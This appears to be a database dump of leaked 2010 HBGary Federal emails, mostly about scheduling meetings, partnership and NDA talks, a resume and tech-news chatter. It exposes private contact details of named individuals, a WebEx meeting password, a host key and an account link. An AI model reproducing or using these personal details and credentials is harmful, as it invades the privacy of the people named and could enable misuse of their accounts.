cyber threats requires a global security framework, experts say \r\n10 years later, the LoveBug still resonates \r\nCloud security: Feds on cusp of change\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    \r\n    \r\n    \r\n    		\r\n \r\n		\r\n\r\n\r\n		Download Resources\r\nCyber Threat Intelligence\r\nFrom the dull din of a climate controlled server room to the prominence of the C-Suite – today\'s CIO\'s are now more than ever, a major partner in business strategy.  The Risk Intelligent CIO will succeed or fail depending on how well they forecast hazards and negotiate obstacles.  Are you Risk Intelligent? \r\nLearn more. \r\nTHINK Secure Government\r\nWhether preparing for a short-term cyber threat, an advanced persistent threat or the prospect of a cyber war, the process is similar. This report outlines public sector cyber security planning best practices and Federal cyber security efforts. \r\nLearn more.\r\n    \r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\nFeedback |\r\n Advertise |\r\n Newsletter Preferences | \r\nUnsubscribe | \r\nPrivacy | \r\nContact Staff\r\n  \r\n\r\n\r\n  \r\n    1105 Government Information Group\r\n      3141 Fairview Park Drive, Suite 777\r\n      Falls Church, VA 22042\r\n      703-876-5100\r\n    Security IT Update\r\n      Online Editor-in-Chief – Susan Miller | Managing Editor Daily Report – Michael Hardy\r\n      1105 Government Information Group\r\n      President – Anne A. Armstrong | VP Advertising Sales – Jennifer Weiss | VP Content – David Rapp | VP Events – Christina Condos\r\n      1105 Media\r\n      President/CEO – Neal Vitale\r\n      \r\n      Copyright 2010 1105 Media Inc. 1105 Government Information Group newsletters may only be redistributed in their unedited form. Written permission from the editor must be obtained to reprint the information contained within this newsletter.\r\n      This message was sent to: tedvera@mac.com\r\n  \r\n\r\n        \r\n         \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n',4743,'aaron_hbgary_com/4743.html'),(6045,'2010-05-06','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004367.M646722P14101Q900.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Schedule','\r\n\r\n\r\n\r\n\r\nRE: Schedule\r\n\r\n\r\n\r\n\r\nSorry, I\'m out all week on training.&nbsp; Maybe you meet with Jerry and John.\r\n\r\nI\'ll check on their schedules and get back tomorrow.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 5/6/2010 2:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Schedule\r\n\r\nI am jammed the rest of the day up by NSA.&nbsp; I am up at NSA monday afternoon\r\ntoo but morning is free.&nbsp; Tuesday is good for me too.\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 6, 2010, at 2:49 PM, &quot;Clair, Chris (TASC)&quot; &lt;\r\nCHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n&nbsp;How\'s the afternoon?&nbsp; Say 2:00?\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n*From:* Aaron Barr [mailto:aaron@hbgary.com]\r\n*Sent:* Thursday, May 06, 2010 2:00 PM\r\n*To:* Clair, Chris (TASC)\r\n*Subject:* Re: Schedule\r\n\r\n\r\n\r\nI can meet on the morning.&nbsp; I have an 1130 in tysons.\r\n\r\nFrom my iPhone\r\n\r\n\r\nOn May 6, 2010, at 10:40 AM, &quot;Clair, Chris (TASC)&quot; &lt;\r\nCHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n&nbsp;Hi Aaron,\r\n\r\nGot any time on Friday to come visit and talk about teaming?&nbsp; Today is a\r\nwash.\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n*__________________________________________________*\r\n&nbsp; [image: Picture (Device Independent Bitmap)]*|Chris Clair** **|* Program\r\nManager* **|* 703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n',12865,'aaron_hbgary_com/12865.html'),(6046,'2010-05-06','\"z zz\" <afili63@hotmail.com>','/aaron@hbgary.com/new/1297004367.M900995P14101Q901.eml','aaron@hbgary.com','Resume','\r\n\r\n\r\n\r\n\r\nHi Aaron, I am really glad I ran into you today!&nbsp; I look forward to hearing aboutany opportunities you may have.&nbsp; Regarding my wife, Tara, she is currently an SAIC employee contracted to DHS/ICE/OCIO.Thanks and don\'t hesitate to call with any further questions or clarifications. 		 	   		  Your E-mail and More On-the-Go. Get Windows Live Hotmail Free. Sign up now.\r\n',12912,'aaron_hbgary_com/12912.html'),(6047,'2010-05-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004368.M125374P14101Q902.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Resume','From my iPhoneBegin forwarded message:From: z zz &lt;afili63@hotmail.com&gt;\r\nDate: May 6, 2010 5:33:11 PM EDTTo: &lt;aaron@hbgary.com&gt;Subject: Resume\r\n\r\nHi Aaron, I am really glad I ran into you today!  I look forward to hearing aboutany opportunities you may have.  Regarding my wife, Tara, she is currently an SAIC employee contracted to DHS/ICE/OCIO.\r\nThanks and don&#39;t hesitate to call with any further questions or clarifications. 		 	   		  Your E-mail and More On-the-Go. Get Windows Live Hotmail Free. Sign up now.\r\n\r\n',5355,'aaron_hbgary_com/5355.html'),(6048,'2010-05-06','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004368.M524192P14101Q903.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: NDA and Collaboration','Hi Aaron,Great, let me know details.Best,Arnav\r\n\r\nOn 2010-05-06, at 2:17 PM, Aaron Barr wrote:ok great. &nbsp;Just circling back around to set everything up. &nbsp;Once I get everyone lined up I will send out a Webex invite.Thanks,AaronOn May 6, 2010, at 12:06 PM, Arnav Manchanda wrote:Hi Aaron,2pm tomorrow (Friday May 7) works for the team. Let me know how you\'d like the presentation to happen.Best wishes,ArnavOn 2010-05-06, at 8:50 AM, Aaron Barr wrote:Hi Arnav,My week is getting away from me. &nbsp;Not sure what you still might be able to pull together this week, or early next week. &nbsp;If tomorrow can still work how is 2pm EST? &nbsp;Otherwise let me know availability next week.\r\nRafal said he was coming to DC in a few weeks. &nbsp;We discussed working a time to meet in person while he is here. &nbsp;Can u set that up?Thanks,Aaron&nbsp;Sent from my iPad\r\nOn May 4, 2010, at 5:35 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Thanks for your email. Our executive team won\'t be available to do a capabilities brief to you, but we would be happy to receive one from HBGary and then plan for a reciprocal SecDev one soon. This Thursday/Friday should be fine, let me know 2 or 3 good timeslots and I\'ll spin up our development team.\r\nBest wishes,Arnav\r\n\r\n\r\n\r\nOn 2010-05-04, at 4:25 PM, Aaron Barr wrote:\r\nArnav,I had a good talk with Rafal last week and we agreed to try and set up a capabilities demo within a week or so followed by a in-person discussion when he comes to DC in a few weeks. &nbsp;How does this Thursday or Friday work for a webex cross capabilities demo?\r\nAaron BarrCEOHBGary FederalOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:\r\nDear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.\r\nWe would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1A 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail: a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: April 9, 2010 3:40:07 PM EDTTo: N.villeneuve@secdev.ca\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;Subject: NDA and Collaboration\r\nNart,It was very nice talking with you at the Palantir conference. &nbsp;I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.\r\nHow often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',403,'aaron_hbgary_com/403.html'),(6049,'2010-05-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004368.M757488P14101Q904.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','TechCrunch','http://techcrunch.com/2010/05/05/scribd-html5/\r\n\r\nFirst Microsoft and now this.\r\n\r\nSteve killed Flash.\r\n',14762,'aaron_hbgary_com/14762.html'),(6050,'2010-05-06','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297004368.M968879P14101Q905.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: TechCrunch','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nIt was already looking like HTML5 was going to be the way to go for a\r\nwhile now.  Everyone is fed up with Flash.  H.264 will most like be the\r\nvideo codec standard here soon.  IE is losing ground like crazy and\r\nChrome is coming up faster than anyone would have thought.\r\n\r\nOn 05/06/2010 04:55 PM, Ted Vera wrote:\r\n> http://techcrunch.com/2010/05/05/scribd-html5/\r\n> \r\n> First Microsoft and now this.\r\n> \r\n> Steve killed Flash.\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkvjTEAACgkQWw/TEDXzQNPvSQCfZ+DzrfWmRqVTLUeSZiDx2PYF\r\nR/sAoII6Kyga24C+q0MArpVA0XAPEFud\r\n=Us38\r\n-----END PGP SIGNATURE-----\r\n',10333,'aaron_hbgary_com/10333.html'),(6051,'2010-05-06','rich@hbgary.com','/aaron@hbgary.com/new/1297004369.M242693P14101Q906.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: NDA and Collaboration','Yes no probSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 6 May 2010 14:18:05 -0400To: Rich Cummings&lt;rich@hbgary.com&gt;Subject: Fwd: NDA and CollaborationCan u support a 2pm Webex, capabilities demonstration?AaronBegin forwarded message:From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;Date: May 6, 2010 12:06:14 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;Subject: Re: NDA and CollaborationHi Aaron,2pm tomorrow (Friday May 7) works for the team. Let me know how you\'d like the presentation to happen.Best wishes,ArnavOn 2010-05-06, at 8:50 AM, Aaron Barr wrote:Hi Arnav,My week is getting away from me. &nbsp;Not sure what you still might be able to pull together this week, or early next week. &nbsp;If tomorrow can still work how is 2pm EST? &nbsp;Otherwise let me know availability next week.\r\nRafal said he was coming to DC in a few weeks. &nbsp;We discussed working a time to meet in person while he is here. &nbsp;Can u set that up?Thanks,Aaron&nbsp;Sent from my iPad\r\nOn May 4, 2010, at 5:35 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Thanks for your email. Our executive team won\'t be available to do a capabilities brief to you, but we would be happy to receive one from HBGary and then plan for a reciprocal SecDev one soon. This Thursday/Friday should be fine, let me know 2 or 3 good timeslots and I\'ll spin up our development team.\r\nBest wishes,Arnav\r\n\r\n\r\n\r\nOn 2010-05-04, at 4:25 PM, Aaron Barr wrote:\r\nArnav,I had a good talk with Rafal last week and we agreed to try and set up a capabilities demo within a week or so followed by a in-person discussion when he comes to DC in a few weeks. &nbsp;How does this Thursday or Friday work for a webex cross capabilities demo?\r\nAaron BarrCEOHBGary FederalOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:\r\nDear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.\r\nWe would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1A 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail: a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: April 9, 2010 3:40:07 PM EDTTo: N.villeneuve@secdev.ca\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;Subject: NDA and Collaboration\r\nNart,It was very nice talking with you at the Palantir conference. &nbsp;I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.\r\nHow often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',1499,'aaron_hbgary_com/1499.html'),(6052,'2010-05-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004369.M474226P14101Q907.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: Badge Photo','Image E is my favorite too.  Send me one I can use, lol...\r\n\r\nTed\r\n\r\n\r\n\r\nOn Wed, May 5, 2010 at 5:56 PM, Mark Trynor  wrote:\r\n> This is what a came up with.  I figured I\'d let you pick.  My thoughts\r\n> on them :\r\n>\r\n> image a + b : me in my natural elements\r\n> image c : I feel is edgy in an artsy way\r\n> image d : would be the one you wanted to use at a much higher resolution\r\n> image e : The one I would choose if I could choose only ONE pick.  Plus\r\n> I heart cupcakes.\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5534,'aaron_hbgary_com/5534.html'),(6053,'2010-05-07','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297004369.M699875P14101Q908.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     len@keycorp.com\r\n\r\nTechnical details of permanent failure: \r\nDNS Error: Could not contact DNS servers\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.151.5.11 with SMTP id h11mr9516049ybi.111.1272919103176;\r\n        Mon, 03 May 2010 13:38:23 -0700 (PDT)\r\nReturn-Path: \r\nReceived: from [192.168.1.149] (ip98-169-66-87.dc.dc.cox.net [98.169.66.87])\r\n        by mx.google.com with ESMTPS id 21sm4563985iwn.7.2010.05.03.13.38.20\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Mon, 03 May 2010 13:38:21 -0700 (PDT)\r\nFrom: Aaron Barr \r\nContent-Type: multipart/signed; boundary=Apple-Mail-2-406639739; protocol=\"application/pkcs7-signature\"; micalg=sha1\r\nSubject: Capabilities Discussion\r\nDate: Mon, 3 May 2010 16:38:19 -0400\r\nMessage-Id: \r\nTo: len@keycorp.com\r\nMime-Version: 1.0 (Apple Message framework v1078)\r\nX-Mailer: Apple Mail (2.1078)\r\n\r\nHi Len,\r\n\r\nAlthough I am not sure if we ever met we have I think numerous mutual business relationships.  In my previous position I was a Technical Director with Northrop Grumman for Cyber and SIGINT, transitioning about 5 months ago.  Art Money suggested I talk with you at that point.  At the time I had already decided to start up a services sister company focused on information operations, incident response and threat detection.  I had lunch with Tom Conroy last week and we were talking about cyber and he suggested I should get in touch with you to discuss possible opportunities.\r\n\r\nIf interested let me know when are some good dates to try and get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14010,'aaron_hbgary_com/14010.html'),(6054,'2010-05-07','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004369.M942760P14101Q909.eml','\"Barr Aaron\" <aaron@hbgary.com>','Organic Light Emitting Transistors might make us forget all about OLED -- Engadget','http://www.engadget.com/2010/05/06/organic-light-emitting-transistors-might-make-us-forget-all-abou/\r\n\r\n\r\nTime to sell our EMA stock...\r\n',2327,'aaron_hbgary_com/2327.html'),(6055,'2010-05-07','messenger@webex.com','/aaron@hbgary.com/new/1297004370.M156930P14101Q910.eml','aaron@hbgary.com','Your enterprise account information','As requested, here is your enterprise account information for https://hbgary.webex.com:   User Name: Aaron  Password: https://hbgary.webex.com/hbgary/viewPassword.php?UID=9d1909584b5c5f525f091c02&Ticket=d88699fb2c9b3128   -------------------------------------------------------  For assistance  -------------------------------------------------------  If you cannot log in, please contact WebEx Technical Support at https://support.webex.com/support/manage-ticket.html.   WebEx Technical Support  ',4286,'aaron_hbgary_com/4286.html'),(6056,'2010-05-07','messenger@webex.com','/aaron@hbgary.com/new/1297004370.M380012P14101Q911.eml','aaron@hbgary.com','Meeting scheduled: HBGary Capabilities Demo',' You are the host for this online meeting.   Topic: HBGary Capabilities Demo  Date: Friday, May 7, 2010  Time: 2:00 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 575 589 771  Meeting Password: malwar3  Host Key: 236524 (use this to reclaim host privileges)   -------------------------------------------------------  To start the online meeting  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=146836047&UID=488445912&PW=NZTRhMDNlMmU5&RT=MiMxMQ%3D%3D  2. If you are not logged in, log in to your account.   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=146836047&tollFree=0   Access code:575 589 771   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".  To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=146836047&UID=488445912&ICS=MS&LD=1&RD=2&ST=1&SHA2=NzY/pSoJWP7M6KggtzUZ2hi0z0-jsaz304bG39WsRKo=   To check whether you have the appropriate players installed for UCF (Universal Communications Format) rich media files, go to https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com     -------------------------------------------------------  To invite others to join  -------------------------------------------------------   ....................Start copying here...................   Topic: HBGary Capabilities Demo  Date: Friday, May 7, 2010  Time: 2:00 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 575 589 771  Password: malwar3   -------------------------------------------------------  To join the meeting online(Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=146836047&UID=488445912&PW=NZTRhMDNlMmU5&RT=MiMxMQ%3D%3D  2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: malwar3  4. Click \"Join\".  5. If the meeting includes a teleconference, follow the instructions that appear on your screen.   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=146836047&tollFree=0   Access code:575 589 771   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ....................Stop copying here ...................  ',9,'aaron_hbgary_com/9.html'),(6057,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004370.M744587P14101Q912.eml','\"message\" <message@webex.com>','Event accepted: Meeting scheduled: HBGary Capabilities Demo','Aaron Barr has accepted your iCal event invitation to the event: Meeting scheduled: HBGary Capabilities Demo, scheduled for May 7, 2010 at 2:00 PM (Eastern Standard Time).',4279,'aaron_hbgary_com/4279.html'),(6058,'2010-05-07','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297004370.M977933P14101Q913.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     message@webex.com\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 550 550 #5.1.0 Address rejected message@webex.com (state 14).\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.220.62.9 with SMTP id v9mr3245651vch.181.1273194437626;\r\n        Thu, 06 May 2010 18:07:17 -0700 (PDT)\r\nReturn-Path: \r\nReceived: from [192.168.1.149] (ip98-169-66-87.dc.dc.cox.net [98.169.66.87])\r\n        by mx.google.com with ESMTPS id b22sm6847971vcp.8.2010.05.06.18.07.16\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Thu, 06 May 2010 18:07:16 -0700 (PDT)\r\nFrom: Aaron Barr \r\nContent-Type: multipart/signed; boundary=Apple-Mail-29-681975327; protocol=\"application/pkcs7-signature\"; micalg=sha1\r\nSubject: Event accepted: Meeting scheduled: HBGary Capabilities Demo\r\nDate: Thu, 6 May 2010 21:07:14 -0400\r\nX-Mail-Calendar-Part: Yes\r\nTo: message \r\nMessage-Id: \r\nMime-Version: 1.0 (Apple Message framework v1078)\r\nX-Mailer: Apple Mail (2.1078)\r\n\r\nAaron Barr has accepted your iCal event invitation to the event: Meeting scheduled: HBGary Capabilities Demo, scheduled for May 7, 2010 at 2:00 PM (Eastern Standard Time).',10474,'aaron_hbgary_com/10474.html'),(6059,'2010-05-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004371.M261821P14101Q914.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: Ping','Check out Chris&#39;s siteBegin forwarded message:From: Chris Collins &lt;chris@tipodean.com&gt;\r\nDate: May 6, 2010 5:37:52 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Ping\r\nHi Ted,Good to hear from you. I actually just launched my website 24 hours ago and was going to start emailing people. www.tipodean.com I had not seen this, what are you thinking? would love to work on it with you guys.\r\n\r\n\r\nChrisOn Thu, May 6, 2010 at 2:08 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nTed Vera has sent you a message.\r\n\r\n\r\n  Date:\r\n  5/06/2010\r\n\r\n\r\n  Subject:\r\n  Ping\r\n\r\n\r\n\r\n  Hi Chris,\r\n\r\n\r\n\r\nHave you seen this?\r\n\r\n\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=c8b3aafc4b15afc4aa222ec196e7413c&amp;tab=core&amp;_cview=1\r\n\r\n\r\n\r\nHope all is well,\r\n\r\nTed\r\n\r\n\r\nView/reply to this message\r\n\r\n\r\n\r\n\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  © 2010, LinkedIn Corporation\r\n\r\n\r\n-- -- Chris CollinsCEOTipodean Technologies+1 415-515-6928 | chris@tipodean.com\r\nSkype: cozza13 | SL: Chris Collins\r\n\r\nWebsite: www.tipodean.comhttp://www.linkedin.com/in/collinschris\r\nTools for your distributed workforce\r\n\r\n\r\n',1964,'aaron_hbgary_com/1964.html'),(6060,'2010-05-07','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297004371.M515480P14101Q915.eml','\"Aaron Barr\" <aaron@hbgary.com>','Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)','\r\n\r\n\r\n\r\n\r\nDeclined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\nI\'ve been sick all week and won\'t make it in to work today either.\r\n\r\n\r\nLet\'s reschedule this once I\'m feeling better.\r\n\r\n\r\nScott\r\n\r\n\r\n\r\n',15336,'aaron_hbgary_com/15336.html'),(6061,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004371.M752700P14101Q916.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Schedule','Hey guys my meeting this afternoon was cancelled.  I have a 2pm webex that should last no more than an hour if u want to talk teaming at 3pm?AaronSent from my iPad\r\nOn May 6, 2010, at 5:15 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\nSorry, I&#39;m out all week on training.  Maybe you meet with Jerry and John.\r\n\r\nI&#39;ll check on their schedules and get back tomorrow.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 5/6/2010 2:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Schedule\r\n\r\nI am jammed the rest of the day up by NSA.  I am up at NSA monday afternoon\r\ntoo but morning is free.  Tuesday is good for me too.\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 6, 2010, at 2:49 PM, &quot;Clair, Chris (TASC)&quot; &lt;\r\nCHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n How&#39;s the afternoon?  Say 2:00?\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n*From:* Aaron Barr [mailto:aaron@hbgary.com]\r\n*Sent:* Thursday, May 06, 2010 2:00 PM\r\n*To:* Clair, Chris (TASC)\r\n*Subject:* Re: Schedule\r\n\r\n\r\n\r\nI can meet on the morning.  I have an 1130 in tysons.\r\n\r\nFrom my iPhone\r\n\r\n\r\nOn May 6, 2010, at 10:40 AM, &quot;Clair, Chris (TASC)&quot; &lt;\r\nCHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n Hi Aaron,\r\n\r\nGot any time on Friday to come visit and talk about teaming?  Today is a\r\nwash.\r\n\r\nThanks,\r\n      Chris\r\n*__________________________________________________*\r\n  [image: Picture (Device Independent Bitmap)]*|Chris Clair** **|* Program\r\nManager* **|* 703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6262,'aaron_hbgary_com/6262.html'),(6062,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004372.M128758P14101Q917.eml','goldmanb@saic.com','Discussion','Hi Brad,\r\n\r\nWe met briefly at the Tech Tuesday last week.  You mentioned you would\r\nlike to have a follow on conversation.  Let me know some\r\navailabilities and maybe we can meet up next week.\r\n\r\nAaron\r\nCEO\r\nHBGary Federal\r\n\r\nSent from my iPad\r\n',3929,'aaron_hbgary_com/3929.html'),(6063,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004372.M391155P14101Q918.eml','\"Len Moodispaw\" <len@keywcorp.com>','Introduction','Hi Len,\r\nAlthough I am not sure if we ever met we have I think numerous mutual business relationships.  In my previous position I was a Technical Director with Northrop Grumman for Cyber and SIGINT, transitioning about 5 months ago.  Art Money suggested I talk with you at that point.  At the time I had already decided to start up a services company focused on information operations, incident response and threat detection.  I had lunch with Tom Conroy last week and we were talking about cyber and he suggested I should get in touch with you to discuss possible opportunities.\r\nIf interested let me know when are some good dates to try and get together.Aaron BarrCEOHBGary Federal Inc.Sent from my iPad\r\n\r\n',13674,'aaron_hbgary_com/13674.html'),(6064,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004372.M641877P14101Q919.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)','Scott,Sounds good.Take care.FYI, in my past experience I worked more closely with the sister agency across the river. &nbsp;It occurred to me this week that I might know some people that are interested in a change, turns out I do, both green and blue. &nbsp;So if there are some potential spots on NANA or other opportunities my contact list is growing.AaronOn May 7, 2010, at 8:04 AM, Sheldon, Scott W. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nI\'ve been sick all week and won\'t make it in to work today either.\r\nLet\'s reschedule this once I\'m feeling better.\r\nScott\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10188,'aaron_hbgary_com/10188.html'),(6065,'2010-05-07','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004372.M934499P14101Q920.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Schedule','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you want to come over here or do it by 